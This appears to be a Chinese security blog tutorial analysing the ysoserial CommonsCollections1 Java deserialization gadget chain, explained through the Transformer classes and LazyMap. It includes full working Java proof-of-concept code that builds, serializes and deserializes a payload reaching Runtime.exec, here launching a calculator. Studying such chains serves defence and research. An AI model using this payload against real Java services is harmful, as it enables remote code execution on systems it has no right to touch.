ysoserial之CommonsCollections1 - P2

前言

在学习CommonsCollection1前先认识一下以下的这些接口和类.

Transformer

Transformer接口定义了transform方法, 接收一个Object类型的参数

ConstantTransformer

其类实现了上述的Transformer接口, 在构造方法中接收一个对象, 在transform方法中返回这个对象。

InvokerTransformer

InvokerTransformer类同样实现了Transformer接口, 具体解释如下图所示, InvokerTransformer的transform方法通过反射调用其方法。

image-20210105224732589

ChainedTransformer

同样实现Transformer接口, 该类的构造方法接收一个Transformer对象的数组。在transform方法中循环调用Transformer数组中每个对象的transform方法。将上一个transform方法的返回结果作为下一个调用的参数

image-20210110162111261


实例分析

基于上述介绍的对象实现命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 以下代码摘自@p1g3
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform(123);
}
}

代码可能稍有复杂, 这块需要多多巩固Java反射

image-20210111134949455

针对上图的内容再做一次文字解释, 希望读者能够在阅读本文的时候避免笔者踩的坑。

首先实例化了一个ChainedTransformer对象, 传入的Transformer数组一共有四个元素, 其中除了第一个元素是ConstantTransformer对象外其他三个均为InvokerTransformer对象。

在代码的20行处调用了ChainedTransformertransform方法, 其首先调用ConstantTransformertransform方法传入的参数为123, 该方法会返回一个Runtime的Class对象作为调用InvokerTransformer对象transform方法的参数。根据实例化对象时传入的参数, 该方法便会调用Class类的getMethod方法返回一个Method对象, 继续重复上面的步骤。传入Method对象调用其invoke方法获得Runtime类的对象。最终在循环到第四个元素是便会调用exec方法执行命令了, 结果如下图所示。

image-20210111153941307


CommonsCollections1 Gadget Chain

通过上面的实例分析已经能够获取一条执行任意命令的链了, 但在上述的分析中我们是基于代码本身去主动调用的transform方法, 因此在真实的反序列化漏洞场景中, 需要找到一个能够直接/间接调用transform的gadget。在ysoserial中使用的是AnnotationInvocationHandler类。通过其的readObject方法和动态代理实现调用LazyMap的get方法触发gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 摘自ysoserial
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

AnnotationInvocationHandler类的readObject方法中调用了memberValues成员变量的entrySet方法, memberValues不被transient或static关键字修饰。所以该属性我们是可控的。并且AnnocationInvocationHandler类实现了InvocationHandler接口与invoke方法。所以该类可作为动态代理使用。

image-20210113164357331

在invoke方法中又调用了memberValue的get方法:

image-20210113164845783

在LazyMap的get方法中调用了transform方法从而实现上面的手动利用链, 这里的factory属性是可控的。所以只要令factory为ChainedTransformer就能完成命令执行的利用链。

image-20210113165551905

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
});
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, chain);
// 反射获取AnnotationInvocationHandler
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler handler_invocation = (InvocationHandler) handler_constructor.newInstance(Override.class, lazyMap);
Map map_proxy = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler_invocation);
//反射获取AnnotationInvocationHandler对象
Constructor annotation_invocation_handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
annotation_invocation_handler_constructor.setAccessible(true);
InvocationHandler annotation_invocation_handler = (InvocationHandler) annotation_invocation_handler_constructor.newInstance(Override.class, map_proxy);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1"));
oos.writeObject(annotation_invocation_handler);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1"));
ois.readObject();
}
}

image-20210114113547843